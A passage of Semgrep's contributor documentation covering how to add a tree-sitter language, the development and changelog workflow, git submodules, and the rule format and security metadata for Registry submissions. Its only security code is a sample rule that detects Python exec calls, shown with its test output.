JavaScript. Check for `require()` calls in `grammar.js` and learn how
this NodeJS primitive resolves paths.
There may also be errors when generating or compiling
OCaml code. These are likely bugs in ocaml-tree-sitter-semgrep and they should
be reported or fixed right away.
Here are some known types of parsing errors:
* A syntax error. The input program is in the wrong syntax or uses a
recent feature that's not supported yet: `make test` or directly the
`parse_LANG` program will show the tree produced by tree-sitter with
one or more `ERROR` nodes.
* A "reparsing" error. It's an error generated after the first
successful parsing pass by the tree-sitter parser, during the
reparsing pass by the OCaml code performed by the generated
`Parse.ml` file. The error message should tell you something like
"cannot interpret tree-sitter's output", with details on what code
failed to match what pattern. This is most likely a bug in
`ocaml-tree-sitter-semgrep`.
* A segmentation fault. This could be due to a bug in the
OCaml/tree-sitter C bindings and should be fixed. A simple test case
that reproduces the problem would be nice.
See [https://github.com/semgrep/ocaml-tree-sitter-semgrep/issues/65](https://github.com/semgrep/ocaml-tree-sitter-semgrep/issues/65)
Parsing errors that are due to an incomplete or incorrect grammar should be recorded, and eventually reported or fixed in the upstream project.
We keep failing test cases in a `fail/` folder, preferably in the form of the minimal program suitable for a bug report, with a comment describing what was expected and what's going on.
## Update the `semgrep` repository
Now that you have added your new language LANG to `tree-sitter`, do the following:
Update [`generate.py`](https://github.com/semgrep/semgrep-interfaces/blob/main/generate.py) in the `semgrep-interfaces` repository with your new language.
In the `semgrep` repository, go to [`/src/parsing/Check_pattern.ml`](https://github.com/semgrep/semgrep/blob/develop/src/parsing/Check_pattern.ml), and add LANG to `lang_has_no_dollar_ids`. If the grammar has no dollar identifiers, add LANG above 'true'. Otherwise, add it above 'false'.
In [`/src/printing/Pretty_print_AST.ml`](https://github.com/semgrep/semgrep/blob/develop/src/printing/Pretty_print_AST.ml), add LANG to the appropriate functions:
* `print_bool`
* `if_stmt`
* `while_stmt`
* `do_while`
* `for_stmt`
* `def_stmt`
* `return`
* `break`
* `continue`
* `literal`
In [`/src/parsing/tests/Test_parsing.ml`](https://github.com/semgrep/semgrep/blob/develop/src/parsing/tests/Test_parsing.ml), add in LANG to `dump_tree_sitter_cst_lang`.
Inspect the other languages in `/languages` as a reference for what
code to add. Create a new folder for your language.
Add the `semgrep-LANG` repository as a submodule under
`/languages/LANG/tree-sitter/` (`git submodule add ...`).
Create a file
`/languages/LANG/tree-sitter/Parse_LANG_tree_sitter.ml`
by copying the generated template `Boilerplate.ml` that you'll find
in the `semgrep-LANG` submodule.
Add basic functionality to
define the function `parse` and import the module
`Parse_tree_sitter_helpers`.
Look at other languages to get a better idea of how to
define the parse file function. This file should contain something
similar to:
```ocaml theme={null}
module H = Parse_tree_sitter_helpers
let parse file =
H.wrap_parser
(fun () ->
Parallel.backtrace_when_exn := false
Parallel.invoke Tree_sitter_X.Parse.file file ()
)
```
Create the missing `dune` files wherever you have OCaml source
files (`.ml`, `.mli`) by imitating what was done for other
languages.
Write a basic test case for your language in
`tests/LANG/hello-world.EXT`. This
can just be a hello-world function.
Try to build the project using the usual commands
(`make` or `make dev`).
Test that the command
`semgrep-core/bin/semgrep-core -dump_tree_sitter_cst test/LANG/hello-world`
prints out a CST for your language.
At this point, you're ready to start writing the translator from
the CST produced by the tree-sitter parser for LANG
into the generic AST used by Semgrep, accommodating all the languages
in a single AST type. It's recommended but not required to first
translate the CST into a language-specific AST before translating it
into the generic AST in a second step.
## Legal concerns
Be thankful for the authors of the original code, keep clearly visible
license notices, and make it easy to get back to the original projects:
* Make sure to preserve the `LICENSE` files. This should be listed in
the `fyi.list` file.
* For sample input in `test/`, consider Public Domain ("The
Unlicense") files or write your own, for simplicity.
[GitHub Search](https://github.com/search/advanced)
allows you to filter projects by license and by programming language.
## See also
# Contributing overview
Source: https://docs.semgrep.dev/contributing/contributing
Your contributions to Semgrep Community Edition (CE) are welcome!
To contribute, read and agree with the [Contributor Covenant Code of Conduct](https://github.com/semgrep/semgrep/blob/develop/CODE_OF_CONDUCT.md).
Your contributions can help in various places:
| Contribution | Where to contribute |
| :----------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| File a Semgrep CE issue. | See the [Semgrep GitHub repository](https://github.com/semgrep/semgrep/issues/new/choose). |
| Contribute code changes. | Follow the [Contributing code](/contributing/contributing-code) document. Find a task in the [list of good first issues](https://github.com/semgrep/semgrep/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22). |
| Contribute rules to the Semgrep Registry. | Add new rules through Semgrep AppSec Platform or GitHub. See [Contributing rules](/contributing/contributing-to-semgrep-rules-repository). |
| Update the documentation you are reading right now! | Create a PR or an issue in the [Documentation repository](https://github.com/semgrep/semgrep-docs). |
| File an issue for our Semgrep Visual Studio Code extension or help us to improve it. | See the [semgrep-vscode](https://github.com/semgrep/semgrep-vscode) repository. |
| File an issue for our Semgrep IntelliJ Plugin help us to improve it. | See the [semgrep-intellij](https://github.com/semgrep/semgrep-intellij) repository. |
| Help others in the community. | Check [Semgrep Community Slack](https://go.semgrep.dev/slack). |
For any contribution to Semgrep code (bug fix or fixed issue, feature), read more about development workflow and testing in the [contribution guidelines](/contributing/contributing-code). For a high-level view of Semgrepβs design principles, see the [Semgrep philosophy](/contributing/contributing-code).
# Contributing code
Source: https://docs.semgrep.dev/contributing/contributing-code
Semgrep welcomes contributions from anyone. If you have an idea for a feature
or notice a bug please [open an issue](https://github.com/semgrep/semgrep/issues/new/choose).
Creating an issue first is preferable to moving directly to a pull request so
that we can ensure you're on the right track without any wasted effort. This
is also a great way to contribute to Semgrep even if you're not making changes
yourself.
This README gives an overview of the repository. For further information on building, you will be directed to [semgrep-core contributing](/contributing/semgrep-core-contributing) and/or [semgrep-cli contributing](/contributing/semgrep-contributing) in [Making a Change](#making-a-change).
## File structure
Semgrep consists of a Python wrapper (`semgrep-cli`) around an OCaml engine (`semgrep-core`) which performs the core parsing/matching work. Within `semgrep-core`, there are two sources of parsers, `pfff` and `tree-sitter-lang` using [tree-sitter](https://github.com/tree-sitter/tree-sitter). Additionally, `semgrep-core` contains a subengine, `spacegrep`, for generic matching.
You may also be interested in `perf`, which contains our code for running repositories against specific rulesets.
There are many other files, but the below diagram broadly displays the file structure.
```text theme={null}
.
βββ cli/ (Python wrapper)
β βββ src/
β βββ semgrep/
β
βββ src/ (semgrep-core)
β βββ analyzing/ (Dataflow analysis)
β βββ core_cli/ (Entrypoint for semgrep-core)
β βββ matching/ (Matching engine)
β
βββ languages/ (Language parsers)
β
βββ libs/ (Library components)
β βββ ast_generic/ (Generic AST)
β βββ spacegrep/ (Generic matching)
β
βββ perf/ (Performance benchmarking)
```
Most of Semgrep's logic is in `cli/src` and `src`.
## Code relationship
The `semgrep-core` binary stands alone. Once built, it is possible to run `semgrep-core` on a semgrep rule for a given language with a file/directory and receive matches.
For example, say you create the config file `unsafe-exec.yaml` and the program `unsafe-exec.py`:
```yaml theme={null}
rules:
- id: unsafe-exec
pattern: exec(...);
message: Avoid use of exec; it can lead to a remote code execution.
severity: MEDIUM
languages: [python]
```
```python theme={null}
exec("ls");
```
If you run `semgrep-core -config unsafe-exec.yaml unsafe-exec.py -lang python`, it will output
```text theme={null}
unsafe-exec.py:1 with rule unsafe-exec
exec("ls");
```
If you run `semgrep --config unsafe-exec.yaml unsafe-exec.py`, it will output
```text theme={null}
running 1 rules...
unsafe-exec.py
severity:warning rule:unsafe-exec: Avoid use of exec; it can lead to a remote code execution.
1:exec("ls");
ran 1 rules on 1 files: 1 findings
```
The matched code is the same, but with `semgrep-cli` the output is more polished and includes the message.
`semgrep-cli` invokes the `semgrep-core` binary as a subprocess, with a flag to request JSON output. It reads the `semgrep-core` output and transforms it appropriately.
Currently, depending on the flags used, `spacegrep` is invoked both independently by `semgrep-cli` as a subprocess and by `semgrep-core` as a subfolder. Therefore, `semgrep-cli` requires the `spacegrep` binary, but building `semgrep-core` will build `spacegrep` as well.
## Making a change
Semgrep runs on Python versions >= 3.8. If you don't have one of these versions installed, please do so before proceeding.
Because the Python and OCaml development paths are relatively independent, the instructions are divided into Python ([semgrep-cli contributing](/contributing/semgrep-contributing)) and OCaml ([semgrep-core contributing](/contributing/semgrep-core-contributing)).
To fully build Semgrep from source, start at [semgrep-core contributing](/contributing/semgrep-core-contributing). It will direct you to [semgrep-cli contributing](/contributing/semgrep-contributing) when appropriate.
Depending on what change you want to make, it might be simpler to build only `semgrep-cli` or only `semgrep-core`. For example, if you only want to modify Python code, you can skip installing OCaml by downloading binaries for the OCaml parts. Similarly, if you only want to modify OCaml code, you can work on `semgrep-core`/`spacegrep` directly.
If you only want to build `semgrep-cli`, go straight to [semgrep-cli contributing](/contributing/semgrep-contributing). Otherwise, follow the instructions in [semgrep-core contributing](/contributing/semgrep-core-contributing).
Below is a guide for what functionality each of `semgrep-cli` and `semgrep-core` controls.
### Only `semgrep-cli`
The python code for Semgrep performs pre and post-processing work. You likely need to touch only `semgrep-cli` if you want to affect
* How output is formatted
* What files are scanned for each language
* The message that is displayed
Go to [semgrep-cli contributing](/contributing/semgrep-contributing)
### Only `semgrep-core`
The OCaml code for Semgrep performs all the parsing and matching work. You likely need to touch only `semgrep-core` if you want to
* Fix a parse error
* Fix a matching error
* Improve Semgrep's performance
Go to [semgrep-core contributing](/contributing/semgrep-core-contributing)
### Both `semgrep` and `semgrep-core`
There are some features that cross through both OCaml and Python code. You will likely need to touch both `semgrep-cli` and `semgrep-core` if you want to
* Fix an Rule-defined fix error
* Add a new language
* Change error reporting
Go to [semgrep-core contributing](/contributing/semgrep-core-contributing). It will direct you to [semgrep-cli contributing](/contributing/semgrep-contributing) when appropriate.
## Development workflow
Before each commit Semgrep will run [`pre-commit`](https://pre-commit.com/) to
ensure files are well-formatted and check for basic linting bugs. If you don't
have `pre-commit` installed the following command will do so for you:
```bash theme={null}
python -m pip install pre-commit
```
Our `pre-commit` configuration uses Docker images. Please ensure you have
[Docker installed](https://docs.docker.com/get-docker/) before running
`pre-commit`. Install the `pre-commit` hooks with the following command:
```bash theme={null}
pre-commit install
```
To ensure `pre-commit` is working as expected, run the following command:
```bash theme={null}
pre-commit run --all
```
Once `pre-commit` is working you may commit code and create pull requests as
you would expect. Pull requests require approval of at least one maintainer and
[CI to be passing](https://github.com/semgrep/semgrep/actions).
### Explaining code
It's important for code to be easy to maintain. This allows all of us to
spend more time on new features rather than spending it on studying
legacy code. As a general rule of thumb, assume that all context that
is not written down will be lost and forgotten. Useful context includes:
* Why does this code exist?
* What or who uses this code?
* What does this code achieve?
* Could this code be replaced by an off-the-shelf component? Why not?
* Does it implement a formal specification or a well-known pattern? Where can
we learn more about it?
We ask that **each source file start with one comment** that
concisely answers these questions.
Here's a short example:
```ocaml theme={null}
(*
Generate unique names with a given prefix.
*)
```
It can be improved by explaining the code's uses:
```ocaml theme={null}
(*
Generate unique names with a given prefix. This is used to
name new grammar rules and new OCaml variables.
*)
```
### Adding a changelog entry
#### Quick reference
Add a new file named like `changelog.d/gh-1234.fixed` that contains
a single paragraph of Markdown text such as:
```text theme={null}
Fix emojis absorbed by the fleeb generator
```
File name format:
```text theme={null}
gh-1234.fixed
^^^^ ^^^^^
| |
| one of: "added", "changed", "fixed", "infra"
GitHub issue or pull request ID
```
Valid changelog file suffixes are:
* `added` - New features or other previously non-existing functionality
* `changed` - Items that have changed the way Semgrep functions
* `fixed` - Bug fixes or other improvements
* `infra` - Workflow improvements or other non-code updates
#### When to add a changelog entry
If you contribute code that affects users, you must add an entry
to the changelog, in the [`changelog.d`
folder](https://github.com/semgrep/semgrep/tree/develop/changelog.d). At
each Semgrep release, these files are automatically gathered and formatted to
produce [release notes](https://github.com/semgrep/semgrep/blob/develop/CHANGELOG.md).
A changelog entry is required if you are:
* Adding new features or other previously non-existing functionality.
* Including important changes in the way Semgrep functions.
* Submitting bug fixes or other improvements.
* Creating workflow improvements or other non-code updates.
A tool called [`towncrier`](https://github.com/twisted/towncrier) is
used for changelog management.
### Troubleshooting pre-commit
On M1 macs some `pre-commit` tests may fail.
If those checks are running in docker containers (such as `hadolint`) and exit with code 137, this means they are running into a memory limit.
This is because for running x86\_64 images on an M1 mac, docker will utilize an emulation with qemu that can cause higher memory consumption.
To fix this, change the memory limit in Docker Desktop in the Resources section of the Preferences, 8.00GB should be sufficient.
### Working with git submodules
A submodule is a reference to a specific commit in another git
repository. This results in a subfolder containing a checkout of that
repository at that particular commit. Submodules have a reputation of
being tricky to use. To minimize problems, make sure to follow these
guidelines:
* When checking out a new branch or commit, update the submodules
using the command `git submodule update --init --recursive`.
Adding a shortcut to your shell can be useful. The following is a
Bash function that lets you call `gitup`. It goes into your `~/.bashrc`:
```bash theme={null}
gitup() {
echo "git submodule update --init --recursive"
git submodule update --init --recursive
}
```
* When modifying both a parent repo A and one of its submodules B,
make one pull request for each (PR A, PR B).
i. Before merging PR B, make sure the branch on repo B is **not
lagging behind** the main branch. This ensures that the submodule
includes all the latest changes made by others.
ii. Make sure PR B is merged **before** PR A.
This ensures that other developers will pick up the changes on B
when making their own changes.
iii. After merging PR A, check that submodule B is still up-to-date
with respect to its main branch, especially if PR B was merged
more than an hour ago.
Good to know:
* Merging in B can be done with a merge commit or by squashing the
commits.
* If squashing commits in B, you must know that the original commit
referenced by A becomes orphaned when the branch is deleted but
remains cached by git for a while. This is usually sufficient to
not require A to point to the newly-squashed commit. *If this turns
out to be problematic in practice, we may have to disallow
commit squashing in the future.*
# Contribute rules to the Semgrep Registry
Source: https://docs.semgrep.dev/contributing/contributing-to-semgrep-rules-repository
Publish rules to the Semgrep Registry to share them with the Semgrep community and contribute to the field of software security. There are two ways in which you can contribute rules to the Semgrep Registry:
**For users of Semgrep AppSec Platform**
Contribute new rules to the Semgrep Registry through Semgrep AppSec Platform. This workflow is recommended. See [Contribute through Semgrep AppSec Platform (recommended)](#contribute-through-semgrep-appsec-platform-recommended). This workflow creates the necessary pull request for you and streamlines the whole process.
**For contributors to the repository through GitHub**
Contribute rules to the Semgrep Registry, or suggest changes to existing rules, through a pull request to `semgrep-rules`. See the [Contribute through GitHub](#contribute-through-github) section for detailed information.
## Contribute through Semgrep AppSec Platform (recommended)
This is the recommended path for adding a new rule. To suggest a change to an existing rule, see [Update existing rules in Semgrep Registry](#update-existing-rules-in-semgrep-registry).
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to the [Semgrep Playground](https://semgrep.dev/playground/new).
Click **Create New Rule**.
Choose one of the following:
* Create a new rule and test code by clicking **plus** icon, select **New rule** and then click **Save**. Note: The test file must contain at least one true positive and one true negative test case to be approved. See the [Tests](#tests) section of this document for more information.
* In the **Library** panel, select a rule from a category in **Semgrep Registry**. Click **Fork**, modify the rule or test code, and then click **Save**.
Click **Share**.
Click **Publish to Registry**.
Fill in the required and optional fields.
Click **Continue**, and then click **Create PR**.
This workflow automatically creates a pull request in the GitHub [Semgrep Registry](https://github.com/semgrep/semgrep-rules). Find more about the Semgrep Registry by reading the [Rule writing](#write-a-rule-for-semgrep-registry) and [Tests](#tests) sections.
You can also publish rules as private rules outside of Semgrep Registry. These rules are not included in the Semgrep Registry, but they are accessible to your Semgrep organisation. See the [Private rules](/writing-rules/private-rules) documentation for more information.
## Contribute through GitHub
Create a pull request in the [semgrep/semgrep-rules](https://github.com/semgrep/semgrep-rules) repository. The pull request requires two files:
* The Semgrep rule saved as a YAML file.
* The test file with the file extension of the language or framework. The test file must contain at least one true positive and one true negative test case to be approved. See the [Tests](#tests) section of this document for more information.
Sign the Contributor License Agreement (CLA) on GitHub; this is required before Semgrep can accept your contributions.
Pull requests require the approval of at least one maintainer and successfully passed [CI jobs](https://github.com/semgrep/semgrep-rules/actions).
Find more about the Semgrep Registry by reading the [Rule writing](#write-a-rule-for-semgrep-registry) and [Tests](#tests) sections.
## Licensing
The Semgrep Registry can import rules from different repositories. These repositories can enforce their own licensing for rules. If you'd like to enforce a specific license, such as the MIT license or GNU Lesser GPL:
Create a GitHub repository and store your rules there.
Reach out to the Semgrep team through the [Community Slack](https://go.semgrep.dev/slack) or [Support](/support)
## Write a rule for Semgrep Registry
The following sections document necessary fields in rule files of Semgrep Registry, provide information about rule messages, inform about test files, mention rule quality checkers, and describe additional fields required by rules in the security category.
### General rule requirements
All rules in general, regardless of whether they are intended only as local rules or for Semgrep Registry, have the same initial requirements. The following table is also included in the [Rule Syntax](/writing-rules/rule-syntax) article.
All required fields must be present at the top level of a rule immediately under the `rules` key.
| **Field** | **Type** | **Description** |
| ------------------ | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | `string` | Unique, descriptive identifier, for example: `no-unused-variable` |
| `message` | `string` | Message that includes why Semgrep matched this pattern and how to remediate it. See also [Rule messages](/contributing/contributing-to-semgrep-rules-repository#rule-messages). |
| `severity` | `string` | Severity can be `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL`. It indicates the criticality of issues detected by a rule. Note: Semgrep Supply Chain uses [CVE assignments for severity](/semgrep-supply-chain/findings#filter-findings), while the rule author sets severity for Code and Secrets. The older levels `ERROR`, `WARNING`, and `INFO` match `HIGH`, `MEDIUM`, and `LOW`. Severity values remain backwards compatible. |
| `languages` | `array` | See [language extensions and tags](/writing-rules/rule-syntax#language-extensions-and-languages-key-values). |
| `pattern`\* | `string` | Find code matching this expression |
| `patterns`\* | `array` | Logical `AND` of multiple patterns |
| `pattern-either`\* | `array` | Logical `OR` of multiple patterns |
| `pattern-regex`\* | `string` | Find code matching this [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html)-compatible pattern in multiline mode |
**INFO**
Only one of the following keys are required: `pattern`, `patterns`, `pattern-either`, `pattern-regex`
Every rule also requires a test file in the language that the rule is targeting. See [Tests](#tests) for more details.
### Semgrep registry rule requirements
In addition to the fields mentioned above, rules submitted to Semgrep Registry have additional required fields:
| Field | Description | Possible values | Example |
| ------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `metadata` | All rules require `technology`, `category`, and `references`. The `category: security` has more requirements. See Including fields required by security category. | Required by all Semgrep Registry rules:
`references`
`category`
`technology`
Additional keys required when `category` is `security`:
`cwe`
`owasp`
`confidence`
`subcategory`
`likelihood`
`impact`
`vulnerability_class`
| `metadata:` `cwe:` `- "CWE-94: (...)"` `category: security` `technology:` `- unicode` `references`: - [https://trojansource.codes/](https://trojansource.codes/) |
| `technology` | Nested under the `metadata` field. Additional information about the technology. This helps to specify rulesets in Semgrep Registry. |
`django`
`docker`
`express`
`kubernetes`
`nginx`
`react`
`terraform`
`--no-technology--`
| `metadata:` `technology:` `- react` |
| `category` | Nested under the `metadata` field. If you use category `security`, include additional metadata. See Including fields required by security category. |
`best-practice`
`correctness`
`maintainability`
`performance`
`portability`
`security`
| `category: security` |
| `references` | Additional information that gives more context to the user of the rule. This helps developers understand the issue and how to fix it. | No finite value. Any additional information that gives more context. | `references:` - [OWASP DOM based XSS Prevention Cheat Sheet][OWASP-DOM-based-XSS-prevention] |
**INFO**
* If you use category security, include additional metadata. See Including fields required by security category.
* Cross-file (interfile) analysis requires `interfile: true` under the `options` key in YAML rules. For more information, see [Creating rules that analyze across files](/semgrep-code/semgrep-pro-engine-intro/#write-rules-that-analyze-across-files-and-functions).
### Rule namespace
The namespacing format for contributing rules in the [Semgrep Registry](https://github.com/semgrep/semgrep-rules) is `///$MORE`. If the rule does not belong to a particular framework, add it to the language directory, which uses the word `lang` in place of the `` - `/`.
### Tests
Include a test file in the language that your rule is targeting. A test file includes the following:
* At least one test where the rule detects a finding. This is called a true positive finding.
* At least one test where the rule does **not** detect a finding. This is called a true negative finding.
Test file names must match the rule filename, except for the file extension. For example, if the rule is in `my-rule.yaml`, the test filename must be `my-rule.js`. Use any valid extension for the target language.
**REQUIREMENTS OF TEST FILES**
* In the test file, include examples that mark:
* What is expected to be a finding.
* What is not a finding.
* The test filename must match the rule filename, except for the file extension.
See the examples of the rule and test file below:
Rule file:
```yaml theme={null}
rules:
- id: my-rule
pattern: var $X = "...";
β¦
```
In the test file, mark an expected finding with a comment tag and the `ruleid` of your rule in the comment before the expected finding. Also, mark the code that is expected not to be a finding with a comment stating `ok` and add the `ruleid` also. See the example below:
```js theme={null}
// ruleid: my-rule
var strdata = "hello";
// ok: my-rule
var numdata = 1;
```
For more information, visit [Testing rules](/writing-rules/testing-rules).
### Rule messages
Include a rule message that provides details about the matched pattern and informs about how to mitigate any related issues. Provide the following information in a rule message:
1. Description of the pattern. For example: missing parameter, dangerous flag, out-of-order function calls.
2. Description of why this pattern was detected. For example: logic bug, introduces a security vulnerability, bad practice.
3. An alternative that resolves the issue. For example: Use another function, validate data first, and discard the dangerous flag.
Use the YAML multiline string operator `>-` when rule messages span multiple lines. This presents the best-looking rule message on the command line without having to worry about line wrapping or escaping the quote or using the backslash.
For an example of a good rule message, see: [this rule for Django's `mark_safe`](https://semgrep.dev/r?q=python.django.security.audit.avoid-mark-safe.avoid-mark-safe).
**RULE MESSAGE EXAMPLE**
`mark_safe()` is used to mark a string as safe for HTML output. This disables escaping and may expose the content to XSS attacks. Instead, use `django.utils.html.format_html()` to build HTML for rendering.
### Rule quality checker
When you contribute rules to the Semgrep Registry, our quality checkers (linters) evaluate if the rule conforms to Semgrep, Inc. standards. The `semgrep-rule-lints` job runs linters on a new rule to check for mistakes, performance problems, and best practices for submitting to the Semgrep Registry. To improve your rule writing, use Semgrep itself to [scan semgrep-rules](https://semgrep.dev/blog/2021/how-we-made-semgrep-rules-run-on-semgrep-rules/).
### Fields required by the `security` category
Rules in category `security` in the Semgrep Registry require specific metadata fields that ensure consistency across the ecosystem in both Semgrep AppSec Platform and Semgrep CLI. Nest these metadata under the `metadata` field.
If your rule has a `category: security`, the following metadata are required:
See [Vulnerability class](#vulnerability-class) for a list of sample values. Accepts custom values.
vulnerability\_class: - Hard-coded Secrets
These fields help you to find rules in different categories such as:
* High confidence security rules for CI pipelines.
* OWASP Top 10 or CWE Top 25 rulesets.
* Technology. For example, `react` so it is easy to find React rulesets.
* Audit rules with lower confidence are intended for code auditors.
Examples of rules with a full list of required metadata:
* High confidence JavaScript and TypeScript rule: [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
* Medium confidence Python rule: [`python.lang.security.dangerous-system-call.dangerous-system-call`](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)
* Low confidence C# rule: [`csharp.lang.security.ssrf.rest-client.ssrf`](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)
**NOTE**
Details of each field mentioned above are provided in the subsections below with examples.
#### CWE
Include the appropriate Comment Weakness Enumeration (CWE). CWE can explain what vulnerability your rule is trying to find. Examples:
If you write an SQL Injection rule, use the following:
```yaml theme={null}
cwe:
- "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
```
If you write an XSS rule, use the following:
```yaml theme={null}
cwe:
- "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
```
#### Confidence
Indicate confidence of the rule to detect true positives. See the possible options below:
* **HIGH** - Security concern, with high true positives. Useful in CI/CD pipelines.
* **MEDIUM** - Security concern, but some false positives. Useful in CI/CD pipelines.
* **LOW** - Expect a fair amount of false positives, similar to audit style rules. These rules can detect many false positives.
##### HIGH
HIGH confidence rules can use Semgrep advanced features such as `metavariable-comparison` or `taint mode`, to detect true positives. See examples below:
* [`go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key`](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)
* [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
* [`javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret`](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)
```yaml theme={null}
confidence: HIGH
```
##### MEDIUM
MEDIUM confidence rules can use Semgrep advanced features such as `metavariable-comparison` or `taint mode`, but with some false positives. See examples below:
* [`javascript.express.security.audit.express-ssrf.express-ssrf`](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)
* [`javascript.express.security.express-xml2json-xxe.express-xml2json-xxe`](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)
```yaml theme={null}
confidence: MEDIUM
```
##### LOW
Low confidence rules generally find something which appears to be dangerous while reporting a lot of false positives. See examples below:
* [`php.lang.security.eval-use.eval-use`](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)
* [`javascript.browser.security.dom-based-xss.dom-based-xss`](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)
```yaml theme={null}
confidence: LOW
```
#### Likelihood
Specify how likely it is that an attacker can exploit the issue that has been found. The possible values are `LOW`, `MEDIUM`, `HIGH`.
##### HIGH
HIGH likelihood rules specify a very high concern that the vulnerability can be exploited. Examples:
* The use of weak encryption: [`go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key`](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)
* Disabled security feature in a configuration: [`javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled`](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)
* Hardcoded secrets that use a constant value `"..."`: [`javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret`](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)
* Rules that leverage `taint mode sources` which indicate sources that can come from an attacker. Such as HTTP `POST`, `GET`, `PUT`, and `DELETE` request values. For example: [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
```yaml theme={null}
likelihood: HIGH
```
##### MEDIUM
MEDIUM likelihood rules detect a vulnerability in most circumstances. Although it can be hard for an attacker to exploit them. Also, these rules can detect part of a problem, but not the whole issue. Examples:
* `taint mode sources` that reach a `taint mode sink` but the source is only vulnerable in certain conditions for example OS Environment Variables, or loading from disk: [`python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process`](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)
* `taint mode sources` with a `taint mode sink` but is missing a `taint mode sanitizer` which can introduce more false positives: [`javascript.express.security.express-puppeteer-injection.express-puppeteer-injection`](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)
```yaml theme={null}
likelihood: MEDIUM
```
##### LOW
LOW likelihood rules tend to find something dangerous, but are not evaluating whether something is truly vulnerable, for example:
* `taint mode sources` such as function arguments which may or may not be tainted which reach a `taint mode sink`: [`typescript.react.security.audit.react-href-var.react-href-var`](https://semgrep.dev/r/typescript.react.security.audit.react-href-var.react-href-var)
* A rule which uses `search mode` to find the use of a dangerous function for example: `trustAsHTML`, `bypassSecurityTrust()`, `eval()`, or `innerHTML`: [`javascript.browser.security.dom-based-xss.dom-based-xss`](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)
```yaml theme={null}
likelihood: LOW
```
#### Impact
Indicate how much damage can a vulnerability cause. Use LOW, MEDIUM, and HIGH.
##### HIGH
HIGH impact rules can detect extremely damaging vulnerabilities, such as injection vulnerabilities. Examples:
* [`javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection`](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)
* [`ruby.rails.security.audit.xxe.xml-external-entities-enabled.xml-external-entities-enabled`](https://semgrep.dev/r/ruby.rails.security.audit.xxe.xml-external-entities-enabled.xml-external-entities-enabled)
```yaml theme={null}
impact: HIGH
```
##### MEDIUM
MEDIUM impact rules are issues that are less likely to lead to full system compromise but still are fairly damaging. Examples:
* [`python.flask.security.injection.raw-html-concat.raw-html-format`](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)
* [`python.flask.security.injection.ssrf-requests.ssrf-requests`](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)
```yaml theme={null}
impact: MEDIUM
```
##### LOW
LOW impact rules are rules that leverage a security issue, but the impact is not too damaging to the application if discovered.
* [`go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure`](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)
* [`javascript.browser.security.raw-html-join.raw-html-join`](https://semgrep.dev/r/javascript.browser.security.raw-html-join.raw-html-join)
```yaml theme={null}
impact: LOW
```
#### References
References help provide more context to a developer on what the issue is, and how to remediate the vulnerability, see examples below:
* A rule that is finding an issue in React: [`typescript.react.security.audit.react-href-var.react-href-var`](https://semgrep.dev/r/typescript.react.security.audit.react-href-var.react-href-var)
```yaml theme={null}
references:
- https://reactjs.org/blog/2019/08/08/react-v16.9.0.html#deprecating-javascript-urls
```
* A rule that is detecting an issue in Express: [`javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection`](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)
```yaml theme={null}
references:
- https://sequelize.org/v6/core-concepts/raw-queries/#replacements
```
#### Subcategory
Include a subcategory to explain what is the type of the rule. See the subsections below for more details.
A vulnerability rule is something that developers certainly want to resolve. For example, an SQL Injection rule that uses taint mode. Example:
